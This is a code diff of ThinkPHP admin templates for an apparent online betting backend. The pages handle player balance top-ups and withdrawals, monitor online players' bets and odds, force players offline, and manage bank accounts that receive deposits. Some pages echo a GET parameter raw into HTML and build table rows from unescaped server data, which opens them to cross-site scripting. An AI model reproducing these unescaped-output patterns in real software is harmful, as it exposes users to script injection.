#agent_list .main-box .z-tree ul li:before{ position:absolute; top:-12px; left:-12px; content: ''; width: 10px; height: 20px; border-style: none none dotted dotted; border-width: 1px; border-color: #9e9e9e; }
#agent_list .main-box .z-tree ul li.first:before{ border-style: none none dotted none; }
#agent_list .main-box .z-tree ul li span.agent_name_box.on{ background:#eaeaea; border:1px solid #ccc; }
#agent_list .button-box{ height:40px; background:#eee; position:relative; top:249px; line-height:40px; }
#agent_list .button-box span{ position:absolute; right:10px; }
#agent_list .button-box span button{ width:50px; height:25px; margin-left:2px; border-radius:5px; }
#agent_list .button-box span button:hover{ background:#edefd1; }
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one" data-id="1">玩家上下分记录列表</a>
<a href="javascript:;" class="list-two actived" data-id="2">玩家上下分记录添加</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="info_from form-horizontal">
<div class="control-group">
<label class="control-label">账号:</label>
<div class="controls" style="position:relative;">
<input id="L_username" name="L_username" type="text" readonly maxlength="50" minlength="3" class="required">
<span id="search-agent"><i class="layui-icon">&#xe615;</i></span>
</div>
</div>
<div class="control-group">
<label class="control-label">操作类型:</label>
<div class="controls">
<input class="scores" name="scores" value="1" type="radio" class="required" style="width:20px;">
<span style="line-height:10px;display:inline-block;">上分</span>
<input class="scores" name="scores" value="2" type="radio" class="required" style="width:20px;">下分
</div>
</div>
<div class="control-group">
<label class="control-label">操作金额:</label>
<div class="controls">
<input id="L_amount" name="L_amount" type="text" value maxlength="50" minlength="3" class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">操作用户:</label>
<div class="controls">
<input id="L_controller" name="L_controller" type="text" readonly value="{$user_info.admin}" maxlength="50" minlength="3" class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">余额:</label>
<div class="controls">
<input id="L_money" name="L_money" type="text" readonly value maxlength="50" minlength="3" class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">备注:</label>
<div class="controls">
<textarea name="desc" id="L_remarks" style="width:25%;" placeholder="请输入内容" class="layui-textarea"></textarea>
</div>
</div>
<div class="bottom-buttom">
<label class="control-label"></label>
<div class="controls">
<div class='submit'>保存</div>
</div>
</div>
</div>
<div id="agent_list">
<div id="header-box">
<div>选择代理</div>
<a class="cancel" href="javascript:;">X</a>
</div>
<div class="main-box">
<div class="search-box">
<label class="key-word">关键字 :</label>
<input type="text" id="agent_name">
<button id="search_key_word">搜索</button>
</div>
<div class="z-tree" id="z-tree">
</div>
</div>
<div class="button-box">
<span>
<button class="ensure">确定</button>
<button class="cancel">取消</button>
</span>
</div>
<input type="hidden" id="short-username" value="">
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == 1) location.href = '/player/scores';
if(id == 2) location.href = '/player/scores_add';
});
// 鼠标按下控件跟随移动
function mouseMoveBox(pressId,boxId){
var _move = false;//移动标记
var _x,_y;//鼠标离控件左上角的相对位置
$("#"+pressId).mousedown(function(e){
// 按下鼠标计算与控件的相对位置
_move = true;
_x = e.pageX-parseInt($("#"+boxId).css("left"));
_y = e.pageY-parseInt($("#"+boxId).css("top"));
});
$(document).mousemove(function(e){
if(_move){
//移动时根据鼠标位置计算控件左上角的绝对位置
var x=e.pageX-_x;
var y=e.pageY-_y;
$("#"+boxId).css({top:y,left:x});//控件新位置
}
}).mouseup(function(){
//松开鼠标后停止移动
_move = false;
});
}
// 代理列表跟随鼠标移动
mouseMoveBox('header-box','agent_list');
// 点击搜索所有的代理列表
$('#search-agent').click(function(){
var result = ajax('/player/getPlayer');
$('#z-tree').empty().append(result);
$('#agent_list').show();
});
$('#L_username').click(function(){
var result = ajax('/player/getPlayer');
$('#z-tree').empty().append(result);
$('#agent_list').show();
});
// 关键字搜索所有的代理列表
$('#search_key_word').click(function(){
var key_word = $('#agent_name').val();
if(key_word){
var query = new Object();
query.username = key_word;
var result = ajax('/player/getPlayer',query);
$('#z-tree').empty().append(result);
$('#agent_list').show();
}
});
// 选择代理名字
$('#agent_list').on('click','.tree-li',function(){
var username = $(this).find('span').eq(1).html();
// 调整样式
$('.agent_name_box').removeClass('on');
$(this).find('.agent_name_box').addClass('on');
// 动态数据
$('#short-username').val(username);
});
// 双击触发选择代理
$('#agent_list').on('dblclick','.tree-li',function(){
$('.ensure').trigger('click');
});
// 确定
$('.ensure').click(function(){
var username = $('#short-username').val();
$('#L_username').val(username);
$('#agent_list').hide();
// 获取代理余额信息
var username = $('#L_username').val();
if(username){
var result = ajax('/player/getPlayerMoney',{username:username});
// 显示余额限制
$('#L_money').val(result);
}
});
// 取消
$('.cancel').click(function(){
$('#agent_list').hide();
});
// 选择上分还是下分
$('.scores').click(function(){
var id = $(this).val();
if(id == 1) $('#L_remarks').html('总台上分 !');
if(id == 2) $('#L_remarks').html('总台下分 !');
});
//监听提交
$('.submit').click(function () {
// 获取和拼装添加代理的数据
var query = new Object();
query.username = $('#L_username').val();
query.amount = $('#L_amount').val();
query.mode = $('.scores:checked').val();
query.controller = $('#L_controller').val();
query.remarks = $('#L_remarks').val();
var money = $('#L_money').val();
// 验证数据
if(!query.username){
layer.alert("请选择账号!");
return false;
}
if(!query.mode){
layer.alert("请选择操作类型!");
return false;
}
if(!query.amount){
layer.alert("请输入操作金额!");
return false;
}
if(parseFloat(query.amount) <= 0){
layer.alert("操作金额必须大于0!");
return false;
}
if(query.mode == 2 && parseFloat(query.amount) > parseFloat(money)){
layer.alert("操作金额不能大于余额!");
return false;
}
// 发送数据到后台添加会员
var result = ajax('/player/do_scores_add',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = "/player/scores";
});
}else{
layer.alert(result.msg,{icon:2});
}
return false;
});
// AJAX函数封装
function ajax(url,query){
var returnData = 0;
$.ajax({
url:url,
data:query,
type:'POST',
dataType:'JSON',
async:false,
success:function(data){
returnData = data;
}
});
return returnData;
}
</script>
</body>
</html>
@@ -0,0 +1,87 @@
{include file="public/header"}
<style>
.x-nav{overflow: inherit; }
.x-nav .refresh{margin-right: 20px; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.change_box .scores_add_show{border-right:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative;border-left: 1px solid #e5e5e5;}
.change_box .scores_add_show{color: #3daae9;}
.change_box .scores_add_show:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.layui-input-block{ width:500px; }
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px;padding-top: 5px; }
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
.pass_back{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
</style>
<body>
<div class="x-nav">
<span class="change_box">
<a href="/player/scores" class="scores_list">玩家上下分记录列表</a>
<a href="javascript:;" class="scores_add_show">代理上下分记录查看</a>
</span>
<a class="layui-btn layui-btn-small" style="line-height:1.6em;margin-top:3px;float:right" href="javascript:location.replace(location.href);" title="刷新"><i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<form class="layui-form form-horizontal">
<div class="control-group">
<label class="control-label">账号:</label>
<div class="controls" style="position:relative;">
{$recharge.username_for}
</div>
</div>
<div class="control-group">
<label class="control-label">操作类型:</label>
{if condition="$recharge.mode == 1"}
<div class="controls" style="position:relative;color:#ff5050;">
{$recharge.mode_msg}
</div>
{else}
<div class="controls" style="position:relative;color:#009688;">
{$recharge.mode_msg}
</div>
{/if}
</div>
<div class="control-group">
<label class="control-label">操作金额:</label>
{if condition="$recharge.mode == 1"}
<div class="controls" style="position:relative;color:#ff5050;">
{$recharge.amount}
</div>
{else}
<div class="controls" style="position:relative;color:#009688;">
{$recharge.amount}
</div>
{/if}
</div>
<div class="control-group">
<label class="control-label">操作用户:</label>
<div class="controls" style="position:relative;">
{$recharge.admin_user_name}
</div>
</div>
<div class="control-group">
<label class="control-label">余额:</label>
<div class="controls" style="position:relative;">
{$recharge.new_money}
</div>
</div>
<div class="control-group">
<label class="control-label">备注:</label>
<div class="controls" style="position:relative;">
{$recharge.remake}
</div>
</div>
<div class="bottom-buttom">
<label class="control-label"></label>
<div class="controls">
<a href="/player/scores">
<div class='pass_back'>返回</div>
</a>
</div>
</div>
</form>
<!-- 隐藏参数 -->
<input type="hidden" id="scores-id" value="{$recharge.id}">
</body>
</html>
@@ -0,0 +1,11 @@
<ul class="tree">
{foreach name="$agent_list" item="vo" key="k"}
<li class="<?php if($k == 0) echo 'first'; ?> tree-li" data-id="{$vo.id}">
<span class="agent_name_box">
<i class="iconfont" style="font-size:13px;">&#59186;</i>
<span>{$vo.username}</span>
</span>
</li>
{/foreach}
</ul>
@@ -0,0 +1,44 @@
{include file="public/header"}
<body>
<div class="x-body">
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
<table class="layui-table">
<div style="text-align: center;font-size: 18px;font-weight:bold;">玩家上下分记录列表</div>
<thead>
<tr>
<th style="text-align: center;">账号</th>
<th style="text-align: center;">联系人</th>
<th style="text-align: center;">代理类型</th>
<th style="text-align: center;">操作类型</th>
<th style="text-align: center;">操作金额</th>
<th style="text-align: center;">操作人</th>
<th style="text-align: center;">余额</th>
<th style="text-align: center;">操作时间</th>
<th style="text-align: center;">备注</th>
</tr>
</thead>
<tbody>
{foreach name="scoresList" item="vo"}
<tr>
<td>{$vo.username_for}</td>
<td>{$vo.nickname_for}</td>
<td>{$vo.user_agent_level}</td>
{if condition="$vo.mode == 1"}
<td>{$vo.mode_msg}</td>
<td>{$vo.amount}</td>
{else}
<td>{$vo.mode_msg}</td>
<td>{$vo.amount}</td>
{/if}
<td>{$vo.admin_user_name}</td>
<td>{$vo.new_money}</td>
<td>{$vo.create_time}</td>
<td>{$vo.remake}</td>
</tr>
{/foreach}
</tbody>
</table>
</div>
</body>
</html>
@@ -0,0 +1,249 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:16px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:80px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.alert{position:fixed; top:15%; left:30%; width:600px; min-height:150px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
.alert .alert-main{width:600px;height:200px;overflow-y: scroll;}
.alert-title{background:#009688; height:40px; text-align: center; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;color:#fff;}
.alert-main th{width:40%; border-left:none; text-align:right;}
.alert-main td{border-right:none; }
.alert-footer{padding:20px; text-align:center;}
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">实时数据</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/player/user_online" method="get">
<div class="layui-input-block" >
<select name="table_id" id="table_id">
<option value="-1" selected>请选择桌子</option>
{foreach name="$table_list" item="vo"}
<option value="{$vo.id}" <?php if(isset($get['table_id']) && $get['table_id'] == $vo['id']) {echo 'selected';} ?>>{$vo.table_name}</option>
{/foreach}
</select>
</div>
<input type="text" name="username" id="username" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
<div class="layui-form-item" style="margin-bottom: 0px;">
<label class="layui-form-label">只看未开</label>
<div class="layui-input-block">
<input type="radio" class="is_under" name="is_under" value="1" title="是" <?php if(isset($get['is_under']) && $get['is_under'] == 1) {echo 'checked';} ?>>
<input type="radio" class="is_under" name="is_under" value="0" title="否" <?php if(isset($get['is_under']) && $get['is_under'] == 0) {echo 'checked';} ?>>
</div>
</div>
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<!-- <span class="layui-btn" id="export">导出excel</span>
<span class="layui-btn" id="print">打印</span> -->
<span style="margin-left:20px;color:red;">数据标红则疑似对打</span>
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>账号</th>
<th>登录客户端</th>
<th>登录IP</th>
<th>总押</th>
<th>总赢</th>
<th>当前余额</th>
<th>下注详情</th>
<th>操作</th>
</tr>
</thead>
<tbody class="ttable">
{foreach name="$user_online" item="vo"}
{if $vo.is_beat == 1}
<tr class="refreshData" style="background:red;">
{else}
<tr class="refreshData">
{/if}
<td>{$vo.username}</td>
<td>{$vo.client}</td>
<td>{$vo.last_login_ip}</td>
<td>{$vo.amount}</td>
<td>{$vo.win_total}</td>
<td>{$vo.money}</td>
<td>
{$vo.bet_detail_first.bet_detail}
{if condition="$vo.bet_detail_count > 1"}
<a href="javascript:;" onclick="showBetDetail(this)" data-username="{$vo.username}" data-bet_detail={$vo.bet_detail}><span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;">更多</span></a>
{/if}
</td>
<td>
<a href="javascript:;">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;" onclick="logout({$vo.user_id})">强制下线</span>
</a>
</td>
</tr>
{/foreach}
<tr class="refreshData">
<th colspan="3" style="text-align: center;">统计</th>
<th>{$totalData.amount}</th>
<th>{$totalData.win_total}</th>
<th colspan="3"></th>
</tr>
</tbody>
</table>
</div>
<audio id="audio" hidden></audio>
<div class="alert" id="alert_bet_detail">
<div class="alert-title" id="show_username"></div>
<div class="alert-main">
<table class="layui-table" style="margin:0;">
<tr><th>押庄赔率:</th><td id="show_price_banker"></td></tr>
<tr><th>押闲赔率:</th><td id="show_price_player"></td></tr>
<tr><th>押和赔率(百家乐):</th><td id="show_price_tie_baccarat"></td></tr>
<tr><th>押对子赔率:</th><td id="show_price_pair"></td></tr>
<tr><th>押龙赔率:</th><td id="show_price_dragon"></td></tr>
<tr><th>押虎赔率:</th><td id="show_price_tiger"></td></tr>
<tr><th>押和赔率(龙虎斗):</th><td id="show_price_tie_dt"></td></tr>
<tr><th>押牛7-牛9赔率:</th><td id="show_price_n7_n9"></td></tr>
<tr><th>押牛牛赔率:</th><td id="show_price_nn"></td></tr>
<tr><th>押五公赔率:</th><td id="show_price_5n"></td></tr>
</table>
</div>
<div class="alert-footer">
<span onclick="hideBetDetail()" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
</div>
</div>
<script>
var b = {$betIdArrJson};
var bt = {$betIdDtArrJson};
autoRefresh();
function autoRefresh(){
setInterval(function(){
var username = $('#username').val();
var table_id = $('#table_id').val();
var is_under = $('.is_under:checked').val();
$.ajax({
url:'/player/user_online_autoRefresh',
data:{username:username,table_id:table_id,is_under:is_under},
dataType:'JSON',
type:'POST',
success:function(data){
// 声音
if(data.is_new == true){
audioShow();
}
if(data.user_online){
var total = data.totalData;
var v = data.user_online;
b = data.betIdArr;
bt = data.betIdDtArr;
var str = "";
for(var i=0; i<v.length; i++){
if(v[i]['is_beat'] == 1){
str += '<tr class="refreshData" style="background:red;">';
}else{
str += '<tr class="refreshData">';
}
str += '<td>'+v[i].username+'</td>';
str += '<td>'+v[i].client+'</td>';
str += '<td>'+v[i].last_login_ip+'</td>';
str += '<td>'+v[i].amount+'</td>';
str += '<td>'+v[i].win_total+'</td>';
str += '<td>'+v[i].money+'</td>';
str += '<td>'+v[i].bet_detail_first.bet_detail;
if(v[i].bet_detail_count > 1){
str += '<a href="javascript:;" onclick="showBetDetail(this)" data-username="'+v[i].username+'" data-bet_detail='+JSON.stringify(v[i].bet_detail)+'><span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;">更多</span></a></td>';
}else{
str += '</td>';
}
str += '<td><a href="javascript:;"><span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;" onclick="logout('+v[i].user_id+')">强制下线</span></a> </td>';
str += '</tr>';
}
str += '<tr class="refreshData">';
str += '<th colspan="3" style="text-align: center;">统计</th>';
str += '<th>'+total.amount+'</th>';
str += '<th>'+total.win_total+'</th>';
str += '<th colspan="3"></th>';
str += '</tr>';
$('.refreshData').remove();
$('.ttable').append(str);
}
}
});
},5000);
}
function showBetDetail(obj){
var username = $(obj).attr('data-username');
var bet_detail = $(obj).attr('data-bet_detail');
var v = JSON.parse(bet_detail);
var str = '';
console.log(v)
console.log(b.indexOf(47))
for(var i in v){
if(v[i]['game_id'] == 1 && b.includes(v[i]['bet_id'])){
str += '<tr style="background:red;"><td>'+ v[i]['bet_detail'] +'</td></tr>';
}else if(v[i]['game_id'] == 2 && bt.includes(v[i]['bet_id'])){
str += '<tr style="background:red;"><td>'+ v[i]['bet_detail'] +'</td></tr>';
}else{
str += '<tr><td>'+ v[i]['bet_detail'] +'</td></tr>';
}
}
$('#show_username').html(username);
$('#alert_bet_detail').find('.layui-table').empty().html(str);
$('#alert_bet_detail').show();
}
function hideBetDetail(){
$('#alert_bet_detail').hide();
}
// 踢人
function logout(id){
layer.confirm('确定强制该玩家下线吗?',function(){
$.ajax({
url:'/player/logout',
data:{user_id:id},
type:'POST',
dataType:'JSON',
success:function(data){
layer.alert(data.msg,function(){
location.reload();
})
}
});
});
}
// 新客人上线声音
function audioShow(){
var audio = $("#audio").get(0);
var audioPath = '/static/console/mp3/welcome.mp3';
$('#audio').attr('src',audioPath);
audio.play();
}
</script>
</body>
</html>
+26
View File
@@ -0,0 +1,26 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>网投系统</title>
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width,user-scalable=yes, minimum-scale=0.4, initial-scale=0.8,target-densitydpi=low-dpi" />
<link rel="stylesheet" href="{$Think.ADMIN_STATIC_DOMAIN}/static/admin/css/font.css">
<link rel="stylesheet" href="{$Think.ADMIN_STATIC_DOMAIN}/static/admin/css/xadmin.css">
<script type="text/javascript" src="{$Think.ADMIN_STATIC_DOMAIN}/static/admin/js/jquery-3.3.1.min.js"></script>
<script type="text/javascript" src="{$Think.ADMIN_STATIC_DOMAIN}/static/admin/lib/layui/layui.js" charset="utf-8"></script>
<script type="text/javascript" src="{$Think.ADMIN_STATIC_DOMAIN}/static/admin/js/xadmin.js"></script>
<script type="text/javascript" src="{$Think.ADMIN_STATIC_DOMAIN}/static/admin/js/jQuery.print.js"></script>
<script type="text/javascript" src="{$Think.ADMIN_STATIC_DOMAIN}/static/admin/js/img_upload.js"></script>
<!-- 让IE8/9支持媒体查询,从而兼容栅格 -->
<!--[if lt IE 9]>
<script src="https://cdn.staticfile.org/html5shiv/r29/html5.min.js"></script>
<script src="https://cdn.staticfile.org/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<style>
th,td{text-align: center !important;}
a.relation{text-decoration:underline;}
a.relation:hover{text-decoration:underline;color:#3daae9}
</style>
</head>
+236
View File
@@ -0,0 +1,236 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.alert{position:fixed; top:15%; left:30%; width:400px; min-height:320px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
.alert-title{background:#009688; height:40px; text-align: center; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;color:#fff;}
.add_input{padding: 10px; font-size: 14px;text-align: center;}
.alert-footer{padding:20px; text-align:center;}
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">收款银行列表</a>
<a href="javascript:;" class="list-two" data-id="2">收款二维码列表</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="layui-row">
<span class="layui-btn" style="margin-left: 20px;" onclick="showAdd()">添加</span>
</div>
<div class="x-body">
<table class="layui-table">
<thead>
<tr>
<th>编号</th>
<th>收款人姓名</th>
<th>收款银行</th>
<th>收款银行账号</th>
<th>状态</th>
<th>创建时间</th>
<th>操作</th>
</tr>
</thead>
<tbody>
{foreach name="recharge_list" item="vo"}
<tr>
<td>{$vo.id}</td>
<td>{$vo.receivables_name}</td>
<td>{$vo.receivables_bank}</td>
<td>{$vo.receivables_bank_number}</td>
<td>{$vo.is_use}</td>
<td>{$vo.create_time}</td>
<td>
<a href="javascript:;" onclick="edit_bank(this)" receivables_id="{$vo.id}" receivables_name="{$vo.receivables_name}" receivables_bank="{$vo.receivables_bank}" receivables_bank_number="{$vo.receivables_bank_number}" status="{$vo.status}">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;" >修改</span>
</a>
</td>
</td>
</tr>
{/foreach}
</tbody>
</table>
{$recharge_list->render()}
</div>
<div class="alert" id="alert_add">
<div class="alert-title">添加收款银行卡</div>
<div class="alert-main">
<div class="add_input">收款人姓名:<input id="receivables_name" name="receivables_name" type="text" value maxlength="50" minlength="3"></div>
<div class="add_input">收款人银行:<input id="receivables_bank" name="receivables_bank" type="text" value maxlength="50" minlength="3"></div>
<div class="add_input">收款人卡号:<input id="receivables_cardnum" name="receivables_cardnum" type="text" value maxlength="50" minlength="3"></div>
<div class="add_input">是否启用: <input name="is_use" class="required is_use" type="radio" value="1" maxlength="20" style="color:#999;width:35px;" checked><span>是</span>
<input name="is_use" class="required is_use" type="radio" value="0" maxlength="20" style="color:#999;width:35px;"><span>否</span></div>
</div>
<div class="alert-footer">
<span onclick="do_add_bank()" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">提交</span>
<span onclick="hiddenForm('alert_add')" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
</div>
</div>
<div class="alert" id="alert_edit">
<div class="alert-title">修改收款银行卡</div>
<div class="alert-main">
<input type="hidden" id="edit_receivables_id" value="">
<div class="add_input">收款人姓名:<input id="edit_receivables_name" name="receivables_name" type="text" value maxlength="50" minlength="3"></div>
<div class="add_input">收款人银行:<input id="edit_receivables_bank" name="receivables_bank" type="text" value maxlength="50" minlength="3"></div>
<div class="add_input">收款人卡号:<input id="edit_receivables_cardnum" name="receivables_cardnum" type="text" value maxlength="50" minlength="3"></div>
<div class="add_input">是否启用: <input name="edit_is_use" class="required edit_is_use" type="radio" value="1" maxlength="20" style="color:#999;width:35px;"><span>是</span>
<input name="edit_is_use" class="required edit_is_use" type="radio" value="0" maxlength="20" style="color:#999;width:35px;"><span>否</span></div>
</div>
<div class="alert-footer">
<span onclick="do_edit_bank()" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">提交</span>
<span onclick="hiddenForm('alert_edit')" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
</div>
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/recharge/index';
if(id == "2") location.href = '/recharge/qr_code';
});
/**
* 封装 AJAX 函数
* @param url 目标地址
* @param query 参数
* @returns {string}
*/
function ajax(url, query) {
var returnData = "";
$.ajax({
url: url,
data: query,
type: 'POST',
dataType: 'JSON',
async: false,
success: function (data) {
returnData = data;
}
});
return returnData;
}
// 显示用户的赔率
function showAdd(){
$('#alert_add').show();
}
//点击隐藏表单弹窗
function hiddenForm(id) {
$('#receivables_name').val('');
$('#receivables_bank').val('');
$('#receivables_cardnum').val('');
$('#' + id).hide();
}
function do_add_bank(){
var query = new Object();
query.receivables_name = $('#receivables_name').val();
query.receivables_bank = $('#receivables_bank').val();
query.receivables_cardnum = $('#receivables_cardnum').val();
query.is_use = $('.is_use:checked').val();
if(query.receivables_name.length == 0){
layer.alert("请填写收款人姓名!");
return false;
}
if(query.receivables_bank.length == 0){
layer.alert("请填写收款银行!");
return false;
}
if(query.receivables_cardnum.length == 0){
layer.alert("请填写收款人卡号!");
return false;
}
if(query.is_use.length == 0){
layer.alert("请选择收款银行卡状态!");
return false;
}
var result = ajax('/recharge/do_add_bank',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = "/recharge/index";
});
}else{
layer.alert(result.msg,{icon:2});
}
return false;
}
function edit_bank(obj){
$('input:radio[name="edit_is_use"]').removeAttr('checked');
var receivables_name = $(obj).attr('receivables_name');
var receivables_bank = $(obj).attr('receivables_bank');
var receivables_bank_number = $(obj).attr('receivables_bank_number');
var receivables_id = $(obj).attr('receivables_id');
var status = $(obj).attr('status');
$('#edit_receivables_id').val(receivables_id);
$('#edit_receivables_name').val(receivables_name);
$('#edit_receivables_bank').val(receivables_bank);
$('#edit_receivables_cardnum').val(receivables_bank_number);
if(status == 1){
$("input[name='edit_is_use'][value=1]").attr("checked",true);
$("input[name='edit_is_use'][value=0]").removeAttr("checked");
}else{
$("input[name='edit_is_use'][value=0]").attr("checked",true);
$("input[name='edit_is_use'][value=1]").removeAttr("checked");
}
$('#alert_edit').show();
}
function do_edit_bank(){
var query = new Object();
query.receivables_id = $('#edit_receivables_id').val();
query.receivables_name = $('#edit_receivables_name').val();
query.receivables_bank = $('#edit_receivables_bank').val();
query.receivables_cardnum = $('#edit_receivables_cardnum').val();
query.is_use = $('.edit_is_use:checked').val();
if(query.receivables_name.length == 0){
layer.alert("请填写收款人姓名!");
return false;
}
if(query.receivables_bank.length == 0){
layer.alert("请填写收款银行!");
return false;
}
if(query.receivables_cardnum.length == 0){
layer.alert("请填写收款人卡号!");
return false;
}
if(query.is_use.length == 0){
layer.alert("请选择收款银行卡状态!");
return false;
}
var result = ajax('/recharge/do_edit_bank',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = "/recharge/index";
});
}else{
layer.alert(result.msg,{icon:2});
}
return false;
}
</script>
</body>
</html>
@@ -0,0 +1,269 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
